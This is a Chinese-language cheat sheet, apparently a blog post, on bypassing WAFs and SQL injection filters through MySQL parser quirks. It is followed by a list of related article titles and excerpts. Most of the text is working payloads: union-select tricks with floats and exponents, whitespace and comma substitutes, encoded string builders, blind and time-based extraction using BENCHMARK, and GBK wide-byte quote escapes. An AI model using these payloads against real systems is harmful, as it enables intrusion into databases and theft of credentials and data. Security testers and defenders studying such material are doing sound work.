1 直接上语法
2 select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
3 select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
4 select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0
5 因为一般waf在防御的时候会识别union等关键词的单词边界,但是这个语句刚好可以绕过单词边界的判定。
6 我是fuzz出来的,了解了一下,大概是利用了语法分析中浮点击指数后语境结束,之后就直接执行后面的语句了。
7 ==================================================
8 where id=.1union/*.1*/select-.1
9 where id=.1union/*.1*/select!.1
10 where id=.1union/*.1*/select~.1
11 where id=.1union/*.1*/select(1)
12 where id=.1union/*.1*/select`host`from mysql.user
13 where id=.1union/*.1*/select‘1‘
14 where id=.1union/*.1*/select"1"
15 where id=.1union/*.1*/select@1
16 ================================================
17 mysql研究方向.txt
18 Mysql:
19 空格,且与符号(and or),单引号,逗号",",双引号",截断符号如:(# -- /*)
20
21 空格:
22 select * from(user);
23 select * from`user`;
24 ‘and(true)like(false)union(select(pass)from(users))#
25 ‘union [all|distinct] select pass from users#
26 09 Horizontal Tab
27 0A New Line
28 0B Vertical Tab
29 0C New Page
30 0D Carriage Return
31 A0 Non-breaking Space
32 20 Space
33
34 且与符号(and or):
35 select * from user where host =‘localhost‘ && 0=0 limit 0,1;
36 select * from user where host =‘localhost‘ || 1=1 limit 0,1;
37
38 20 Space
39 2B +
40 2D -
41 7E ~
42 21 !
43 40 @
44 Example:
45 SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))
46
47 ● Prefixes (combine arbitrarily 任意组合 单目运算符): + - ~ !
48 ‘ or --+2=- -!!!‘2
49 ● Operators: ^, =, !=, %, /, *, &, &&, |, ||, <, >, >>, <<, >=, <=, <>,<=>,
50 XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN, ...
51 ‘ or 1
52 单引号:
53 ‘-GBK编码%df‘;‘-%2527 UNICODE编码
54
55
56 逗号:
57 UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)
58 //利用MySQL出错爆出字段
59 mysql> SELECT * FROM (SELECT * FROM user A JOIN user B) C;
60 ERROR 1060 (42S21): Duplicate column name 'Host'
61 mysql> SELECT * FROM (SELECT * FROM user A JOIN user B USING (Host)) C;
62 ERROR 1060 (42S21): Duplicate column name 'User'
63 mysql> SELECT * FROM (SELECT * FROM user A JOIN user B USING (Host,User)) C;
64 ERROR 1060 (42S21): Duplicate column name 'Password'
65
66 双引号:
67 类同单引号的思路
68
69 编码:
70 ‘ or ‘a‘ = n‘a # unicode
71 ‘ or ‘a‘ = b‘1100001 # binary
72 ‘ or ‘a‘ = x‘61 # hexadecimal
73 ‘ and substr(data,1,1) = 0x61# 0x6162
74 ‘ and substr(data,1,1) = unhex(61)# unhex(6162)
75 ‘ and substr(data,1,1) = char(97)# char(97,98)
76 String builder (3)
77 ● Previous functions are well known
78 ● My favourite:
79 ‘ and substr(data,1,1) = lower(conv(10,10,36))# ‘a‘
80 ‘ and substr(data,1,1) = lower(conv(11,10,36))# ‘b‘
81 ‘ and substr(data,1,1) = lower(conv(36,10,36))# ‘z‘
82
83
84 截断符号:
85 常见的:# -- /*
86 -- - SQL comment
87 ;%00 Nullbyte
88 ` Backtick
89
90
91 盲注:
92 AND MID(VERSION(),1,1) = ‘5‘
93 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > ‘A‘
94 ‘ and substr(data,1,1) = ‘a‘#
95 ‘ and substring(data,1,1) = ‘a‘#
96 ‘ and mid(data,1,1) = ‘a‘#
97 ● All 3 functions work without comma(逗号) too:
98 ‘ and substr(data from 1 for 1) = ‘a‘#
99 lpad(data,1,space(1)) // lpad(‘hi‘,4,‘?‘) = ‘??hi‘
100 rpad(data,1,space(1)) // rpad(‘hi‘,4,‘?‘) = ‘hi??‘
101 left(data,1)
102 reverse(right(reverse(data),1))
103 insert(insert(version(),1,0,space(0)),2,222,space(0))
104 ● Subselect:
105 1‘and 0x61=(/*foo*/SELECT mid(pass,1,1) from users limit
106 1,1)and‘1
107
108 Some functions allow to search substrings:
109 ‘-if(locate(‘f‘,data),1,0)#
110 ‘-if(locate(‘fo‘,data),1,0)#
111 ‘-if(locate(‘foo‘,data),1,0)#
112
113 ● Some functions allow to cut substrings:
114 length(trim(leading ‘a‘ FROM data)) # length will be shorter
115 length(replace(data, ‘a‘, ‘‘)) # length will be shorter
116
117 Subselect:
118 foo‘div count(select`pass`from(users)where mid(pass,1,1)rlike
119 lower(conv(10,pi()*pi(),pi()*pi())) )-‘0
120
121 Blind SQL Injection
122 Example: select * from table where id = 1 AND if((ascii(lower(substring((select user()),$i,1))))!=$s,1,benchmark(2000000,md5(now())))
123
124
125
126 延迟:
127 ‘ - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1(‘true‘)), false)) - ‘
128
129
130 Nope:
131 false !pi() 0 ceil(pi()*pi()) 10 ceil((pi()+pi())*pi()) 20
132 true !!pi() 1 ceil(pi()*pi())+true 11 ceil(ceil(pi())*version()) 21
133 true+true 2 ceil(pi()+pi()+version()) 12 ceil(pi()*ceil(pi()+pi())) 22
134 floor(pi()) 3 floor(pi()*pi()+pi()) 13 ceil((pi()+ceil(pi()))*pi()) 23
135 ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 ceil(pi())*ceil(version()) 24
136 floor(version()) 5 ceil(pi()*pi()+version()) 15 floor(pi()*(version()+pi())) 25
137 ceil(version()) 6 floor(pi()*version()) 16 floor(version()*version()) 26
138 ceil(pi()+pi()) 7 ceil(pi()*version()) 17 ceil(version()*version()) 27
139 floor(version()+pi()) 8 ceil(pi()*version())+true 18 ceil(pi()*pi()*pi()-pi()) 28
140 floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 floor(pi()*pi()*floor(pi())) 29
141
142
143 conv([10-36],10,36)
144 false !pi() 0 ceil(pi()*pi()) 10 A ceil((pi()+pi())*pi()) 20 K
145 true !!pi() 1 ceil(pi()*pi())+true 11 B ceil(ceil(pi())*version()) 21 L
146 true+true 2 ceil(pi()+pi()+version()) 12 C ceil(pi()*ceil(pi()+pi())) 22 M
147 floor(pi()) 3 floor(pi()*pi()+pi()) 13 D ceil((pi()+ceil(pi()))*pi()) 23 N
148 ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 E ceil(pi())*ceil(version()) 24 O
149 floor(version()) 5 ceil(pi()*pi()+version()) 15 F floor(pi()*(version()+pi())) 25 P
150 ceil(version()) 6 floor(pi()*version()) 16 G floor(version()*version()) 26 Q
151 ceil(pi()+pi()) 7 ceil(pi()*version()) 17 H ceil(version()*version()) 27 R
152 floor(version()+pi()) 8 ceil(pi()*version())+true 18 I ceil(pi()*pi()*pi()-pi()) 28 S
153 floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 J floor(pi()*pi()*floor(pi())) 29 T
通用的关于sql注入的绕过技巧(利用mysql的特性)
时间: 2024-10-26 22:48:35
通用的关于sql注入的绕过技巧(利用mysql的特性)的相关文章
sql注入常见绕过技巧
参考链接:https://blog.csdn.net/huanghelouzi/article/details/82995313 https://www.cnblogs.com/vincy99/p/9642882.html 目录: 大小写绕过 双写绕过 内联注释绕过 编码绕过 <>绕过 注释符绕过 对空格的绕过 对or/and的绕过 对等号=的绕过 对单引号的绕过 对逗号的绕过 过滤函数绕过 0x01 大小写绕过 UniOn SeleCt 0x02 双写绕过 ununionion sesele
SQL注入防御绕过——二次编码之干掉反斜杠
SQL注入防御绕过--二次编码 01 背景知识 一.为什么要进行URL编码 通常如果一样东西需要编码,说明这样东西并不适合传输.对于URL来说,编码主要是为了避免引发歧义与混乱.例如,URL参数字符串中使用key=value键值对这样的形式来传参,键值对之间以&符号分隔,如/?name=abc&pwd=123如果你的value字符串中包含了=或者&,那么势必会造成接收Url的服务器解析错误,因此必须将引起歧义的&和= 符号进行转义,也就是对其进行编码.对于URL编码的深入研
SQL注入之绕过WAF和Filter
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 本文小结 0x6 参考资料 0x0 前言 网上关于绕过WAF有诸多文章,但是观察之后会发现大体上绕过WAF的方法就那八.九种,而且这些技术出来也有些日子了,继续使用这些方法是否有效有待于我们在实际中去验证.看过数篇绕过WAF的文章后,前人对技术的总结已经比较全面,但是完整的内容可能分布在各处,查阅起
SQL注入防御绕过
一.宽字节注入1.什么是宽字节GB2312.GBK.GB18030.BIG5等这些都是常说的宽字节,实际为两字节 2.宽字节注入原理防御:将 ' 转换为 \'绕过:将 \ 消灭 mysql在使用GBK编码的时候,会认为两个字符为一个汉字\ 编码为 %5c' 编码为%27%df%5c mysql会认为是一个汉字构造:%df' %df\' %df%5c%27 其中%df%5c将成为一个汉字专为 汉字' 从而绕过了/的转义注:前一个ascii码大于128才能到汉字的范围 注入方法:在注入点后键入%df
登陆页面Sql注入(绕过)
如图,看到这道题的时候发觉之前做过一个类似的手工注入: 不过这次手注会失败,后台过滤了sql语句里的一些东西,但我们并不知道过滤了什么 到这里我就基本上没辙了,不过查询了资料以后发现sqlmap可以对登录页面进行注入(一直以为sqlmap只能对url里的对象进行注入) 参考资料:https://x.hacking8.com/post-307.html “sqlmap的爬虫会爬取自定义的深度以及寻找form表单并自动填充缺失的数据加入扫描”,换句话说sqlmap可以对登陆页面进行注入,并且它会自动
Discuz!7.2 faq.php文件SQL注入漏洞分析及利用实战
[antian365.com] simeon 最近网上公开了Discuz!7.2版本faq.php文件SQL注入0day,通过对文件漏洞分析以及实战测试,效果不错,公开利用exp的利用需要对SQL语句以及数据库等相当了解,在某些情况下需要多种技术配合才能最终攻克目标,下面就漏洞代码以及实战利用等进行探讨,对获取管理员密码的利用,uc_key获取webshell,插件导入获取Webshell等进行探讨. 1. faq.php文件SQL注入漏洞代码分析 本次存在漏洞的文件为faq.php,打开该文件
[转载]SQL注入绕过技巧汇总
转载一篇比较好的文章,乘心物游大佬写的. SQL注入的绕过技巧有很多,具体的绕过技巧需要看具体的环境,而且很多的绕过方法需要有一个实际的环境,最好是你在渗透测试的过程中遇到的环境,否则如果仅仅是自己凭空想,那显然是不靠谱的.这篇文章就是总结我在遇到的CTF题目或者是渗透环境的过程中,所使用到的sql注入的绕过技巧,这篇文章随着自己的见识和能力不断的提升,所总结的方法也会变多.1.引号绕过 会使用到引号的地方是在于最后的where子句中.如下面的一条sql语句,这条语句就是一个简单的用来查选得到u
Web安全之SQL注入攻击技巧与防范
在Web1.0时代,人们更多是关注服务器端动态脚本语言的安全问题,比如将一个可执行脚本(俗称Webshell)通过脚本语言的漏洞上传到服务器上,从而获得服务器权限.在Web发展初期,随着动态脚本语言的发展和普及,以及早期工程师对安全问题认知不足导致很多”安全血案”的发生,至今仍然遗留下许多历史问题,比如PHP语言至今仍然无法从语言本身杜绝「文件包含漏洞」(参见这里),只能依靠工程师良好的代码规范和安全意识. 伴随着Web2.0.社交网络.微博等一系列新型互联网产品的兴起,基于Web环境的互联网应
WAF的SQL注入绕过手段和防御技术
一.关于SQL注入 SQL注入是一种常见的入侵WEB应用的手法.SQL注入是利用应用系统的编程漏洞和SQL语言的语法特征,改变原始的SQL语句执行逻辑而产生的. 攻击者向Web应用发送精心构造的输入数据,这些输入中的一部分被解释成SQL指令,改变了原来的正常SQL执行逻辑,执行了攻击者发出的SQL命令,最终使攻击者获取Web应用的管理员权限或者下载了Web应用存到数据库中的敏感信息. 二.SQL注入如何实现 为了对本文进行更好的讲解,下面简单地对SQL注入的原理进行示例性说明. 如下图是某网站的